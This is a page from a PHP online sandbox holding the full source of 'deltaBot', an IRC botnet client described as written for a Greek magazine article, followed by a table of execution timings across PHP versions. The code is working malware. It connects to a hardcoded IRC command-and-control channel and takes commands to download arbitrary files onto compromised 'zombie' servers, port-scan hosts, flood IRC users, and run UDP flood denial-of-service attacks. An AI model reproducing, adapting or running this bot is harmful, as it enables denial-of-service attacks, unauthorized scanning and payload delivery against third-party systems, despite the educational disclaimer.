3v4l.org

run code in 300+ PHP versions simultaneously
<?php /* # # deltaBot v0.1.1 # # A simple PHP IRC bot to illustrate the # inner workings of a traditional botnet. # # By using this script you agree that the # creator is by no means responsible for # your actions and cannot be held liable # for any damage you might inflict to # third-party property. This file has been # created for educational purposes only, # during the writing of an article on # botnets and information security for # a magazine publication in Greece. # # Please leave feedback at: bruteforce.gr/deltabot # # This file is distributed under the terms of GPLv3. # */ //We don't want the bot to stop set_time_limit(0); ini_set('display_errors', 'on'); class deltaBot { //Do you run it locally or on a (zombie) server? var $localhost = TRUE; //Bot's version var $version = '0.1.1'; //IRC server connection details var $config = array( 'server' => 'unix.webchat.my', 'port' => 6667, 'channel' => '#unix', 'name' => 'spaceinvader', 'nick' => 'beware', 'pass' => '', 'maxrand' => 150, ); //Variable to store our IRC connection var $conn; //Array to save the server/client messages using explode() var $ex = array(); //Function that starts the bot and connects to the IRC server function start() { $this->conn = fsockopen($this->config['server'], $this->config['port'], $e, $s, 30); if(strlen($this->config['pass']) > 0) { $this->send("PASS config['pass']"); } if(!$this->localhost) { $this->send("USER ".$this->config['nick']." ".$_SERVER['SERVER_ADDR']." ".$_SERVER['SERVER_NAME']." :".$this->config['name']); } else { $this->send("USER deltaBot 127.0.0.1 localhost :".$this->config['name']); } $this->send("NICK ".$this->config['nick'].mt_rand(0,$this->config['maxrand'])); $this->join($this->config['channel']); $this->main(); } //Bot's main function function main() { while(!feof($this->conn)) { //Take the data from the server and remove \r\n $data = trim(fgets($this->conn, 256)); echo $data; flush(); //Break messages into their components $this->ex = explode(' ', $data); //Play ping pong with the IRC server to stay connected if($this->ex[0] == 'PING') { $this->send("PONG ".$this->ex[1]); } //The 4th word of each message corresponds to the given command @$command = $this->ex[3]; //List of available commands, executable by the bot switch($command) { //Join a channel, syntax: !join <#channel1> [#channel2] case ':!join': for($i=4; $i<(count($this->ex)); $i++) { $this->join($this->ex[$i]); } break; //Part from a channel, syntax: !part <#channel1> [#channel2] case ':!part': for($i=4; $i<(count($this->ex)); $i++) { $this->part($this->ex[$i]); } break; //Say something to a user/channel, syntax: !say <user/#channel> <message> case ':!say': $message = ""; for($i=5; $i<=(count($this->ex)); $i++) { $message .= $this->ex[$i]." "; } $this->send("PRIVMSG ".$this->ex[4]." :$message"); break; //Display the bot's version, syntax: !version case ':!version': $this->send("PRIVMSG ".$this->config['channel']." :".$this->version); break; //Display each zombie's uptime, syntax: !uptime case ':!uptime': $uptime = system("uptime"); $this->send("PRIVMSG ".$this->config['channel']." :$uptime"); break; //Display information about each zombie's web server, syntax: !server case ':!server': $software = $_SERVER['SERVER_SOFTWARE']; $docroot = $_SERVER['DOCUMENT_ROOT']; $this->send("PRIVMSG ".$this->config['channel']." :Server: $software, Document Root: $docroot"); break; //Display system information about each zombie, syntax: !server case ':!system': $this->send("PRIVMSG ".$this->config['channel']." :".php_uname()); break; //Download a file to each zombie, syntax: !download <URL> [path] case ':!download': if(!isset($this->ex[4])) { $this->send("PRIVMSG ".$this->config['channel']." :[--> Please give the file's URL!]"); break; } if(!isset($this->ex[5])) { $path = '/tmp/file.delta'; } else { $path = $this->ex[5]; } $this->download($this->ex[4], $path); break; //Flood a user/channel, syntax: !tsunami <user/#channel> [rounds] case ':!tsunami': $tsunami = "TSUNAMIIII!! hahah!!"; if(!isset($this->ex[4])) { $this->send("PRIVMSG ".$this->config['channel']." :[--> Please give the user/#channel to flood!]"); break; } if(isset($this->ex[5])) { $rounds = $this->ex[5]; } else { $rounds = 20; } $this->send("PRIVMSG ".$this->config['channel']." :[\002Starting Tsunami flood @ ".$this->ex[4]." for $rounds rounds...\002]"); for($i=0; $i<$rounds; $i++) { $this->send("PRIVMSG ".$this->ex[4]." :$tsunami"); sleep(1); } $this->send("PRIVMSG ".$this->config['channel']." :[\002Finished Tsunami flood @ ".$this->ex[4]." for $rounds rounds!\002]"); break; //Scan a host/IP for open ports, syntax: !portscan <host/IP> [comma seperated ports] case ':!portscan': if(!isset($this->ex[4])) { $this->send("PRIVMSG ".$this->config['channel']." :[--> Please give the host/IP to scan!]"); break; } $host = $this->ex[4]; if(isset($this->ex[5])) { $ports = $this->ex[5]; } else { $ports = '21,22,23,25,53,80,110,443,445,8080'; } $this->portscan($host, $ports); break; //Flood a host/IP using UDP packets, syntax: !udpflood <host/IP> [duration] case ':!udpflood': if(!isset($this->ex[4])) { $this->send("PRIVMSG ".$this->config['channel']." :[--> Please give the host/IP to flood!]"); break; } $host = $this->ex[4]; if(isset($this->ex[5])) { $duration = $this->ex[5]; } else { $duration = 30; //δευτερόλεπτα } $this->udpflood($host, $duration); break; //Restart the bot, syntax: !restart case ':!restart': $this->restart(); exit; //Shutdown the bot, syntax: !shutdown case ':!shutdown': $this->shutdown(); exit; //Display help, syntax: !help case ':!help': $this->help(); break; } } } //Sends messages to the IRC server and displays them in the browser function send($msg) { fputs($this->conn, $msg."\r\n"); echo '<strong>'.$msg.'</strong><br />'; } //Joins a channel function join($channel) { $this->send("JOIN $channel"); } //Parts from a channel function part($channel) { $this->send("PART $channel"); } //Restarts the bot function restart() { echo "<meta http-equiv=\"refresh\" content=\"5\">"; } //Shutdowns the bot function shutdown() { $this->send("QUIT ".$this->config['name']); } //Downloads a file to each zombie function download($url, $path) { if(!$fp = fopen($path, "w")) { $this->send("PRIVMSG ".$this->config['channel']." :[--> You don't have write permissions to $path, please choose another path!]"); } else { if(!$get = file($url)) { $this->send("PRIVMSG ".$this->config['channel']." :[--> Unable to download file, please check the URL!]"); } else { $this->send("PRIVMSG ".$this->config['channel']." :[\002Downloading file from $url to $path ...\002]"); for($i=0; $i<count($get); $i++) { fwrite($fp, $get[$i]); } $this->send("PRIVMSG ".$this->config['channel']." :[\002Finished download!\002]"); } fclose($fp); } } //Runs a port scan against a host/IP function portscan($host, $ports) { $port = array(); $port = explode(',',$ports); $this->send("PRIVMSG ".$this->config['channel']." :[\002Starting Port Scan @ ".$host." for ".(count($port))." ports...\002]"); for($i=0; $i<(count($port)); $i++) { $fp = @fsockopen($host, $port[$i], $e, $s, 10); if($fp) { $this->send("PRIVMSG ".$this->config['channel']." :[Port ".$port[$i]." @ ".$host." is OPEN]"); fclose($fp); } else { $this->send("PRIVMSG ".$this->config['channel']." :[Port ".$port[$i]." @ ".$host." is CLOSED]"); } } $this->send("PRIVMSG ".$this->config['channel']." :[\002Finished Port Scan @ ".$host." for ".(count($port))." ports!\002]"); } //Executes a UDP flood attack against a host/IP function udpflood($host, $duration) { $packet = ""; for($i=0; $i<256; $i++) { $packet .= chr(mt_rand(0,255)); } $this->send("PRIVMSG ".$this->config['channel']." :[\002Starting UDP flood attack @ $host for $duration seconds...\002]"); $max_time = time() + $duration; while(time() < $max_time) { if($fp = fsockopen('udp://'.$host, mt_rand(0,8080), $e, $s, 5)) { fwrite($fp, $packet); fclose($fp); } } $this->send("PRIVMSG ".$this->config['channel']." :[\002Finished UDP flood attack @ $host !\002]"); } //Displays available bot commands function help() { $this->send("PRIVMSG ".$this->config['channel']." :[\002List of available commands\002]"); $this->send("PRIVMSG ".$this->config['channel']." :[!say, !join, !part, !restart, !shutdown]"); $this->send("PRIVMSG ".$this->config['channel']." :[!download, !tsunami, !portscan !udpflood]"); $this->send("PRIVMSG ".$this->config['channel']." :[!uptime, !server, !system !version !help]"); } } //Create the bot and start it $bot = new deltaBot; $bot->start(); ?>

Here you find the average performance (time & memory) of each version. A grayed out version indicates it didn't complete successfully (based on exit-code).

VersionSystem time (s)User time (s)Memory (MiB)
8.2.70.0100.01018.00
8.2.60.0060.01217.86
8.2.50.0120.00617.75
8.2.40.0180.00018.00
8.2.30.0080.00817.88
8.2.20.0070.00918.13
8.2.10.0060.01117.75
8.2.00.0040.01217.88
8.1.200.0040.01317.63
8.1.190.0110.00517.50
8.1.180.0150.00217.38
8.1.170.0060.01217.63
8.1.160.0110.00617.63
8.1.150.0000.01717.63
8.1.140.0150.00217.50
8.1.130.0130.00517.46
8.1.120.0120.00417.75
8.1.110.0120.00617.62
8.1.100.0080.00817.97
8.1.90.0070.01017.84
8.1.80.0130.00317.72
8.1.70.0110.00617.63
8.1.60.0130.00417.75
8.1.50.0140.00617.75
8.1.40.0070.00717.63
8.1.30.0000.01019.43
8.1.20.0030.00619.38
8.1.10.0030.00619.38
8.1.00.0050.00519.25
8.0.290.0000.00818.74
8.0.280.0040.00418.74
8.0.270.0060.00318.74
8.0.260.0060.00318.51
8.0.250.0030.00618.86
8.0.240.0030.00618.99
8.0.230.0000.00918.86
8.0.220.0040.00418.86
8.0.210.0000.00918.70
8.0.200.0000.00818.87
8.0.190.0000.00918.74
8.0.180.0060.00318.86
8.0.170.0020.00718.87
8.0.160.0060.00318.86
8.0.150.0060.00318.73
8.0.140.0000.00918.74
8.0.130.0090.00018.86
8.0.120.0090.00018.73
8.0.110.0040.00418.86
8.0.100.0060.00318.86
8.0.90.0040.00418.85
8.0.80.0000.00918.70
8.0.70.0040.00418.86
8.0.60.0030.00618.86
8.0.50.0090.00018.85
8.0.30.0000.00918.66
8.0.20.0040.00418.86
8.0.10.0000.00918.86
8.0.00.0070.00418.61
7.4.330.0160.00016.96
7.4.320.0140.00716.96
7.4.300.0170.00316.96
7.4.290.0180.00716.96
7.4.280.0200.00416.96
7.4.270.0170.00416.96
7.4.260.0210.00016.96
7.4.250.0080.01316.96
7.4.240.0160.00416.96
7.4.230.0130.00916.96
7.4.220.0160.00416.96
7.4.210.0050.01416.96
7.4.200.0130.00716.96
7.4.190.0150.00316.96
7.4.180.0120.00816.96
7.4.160.0170.00316.96
7.4.150.0210.00416.96
7.4.140.0130.00516.96
7.4.130.0210.00416.96
7.4.120.0060.01316.96
7.4.110.0130.00916.96
7.4.100.0070.01116.96
7.4.90.0140.00416.96
7.4.80.0120.00816.96
7.4.70.0100.01016.96
7.4.60.0150.00516.96
7.4.50.0060.01316.96
7.4.40.0140.00516.96
7.4.30.0120.00716.96
7.4.20.0140.00516.96
7.4.10.0190.00516.96
7.4.00.0220.00016.96
7.3.330.0120.00816.96

preferences:
36.94 ms | 401 KiB | 5 Q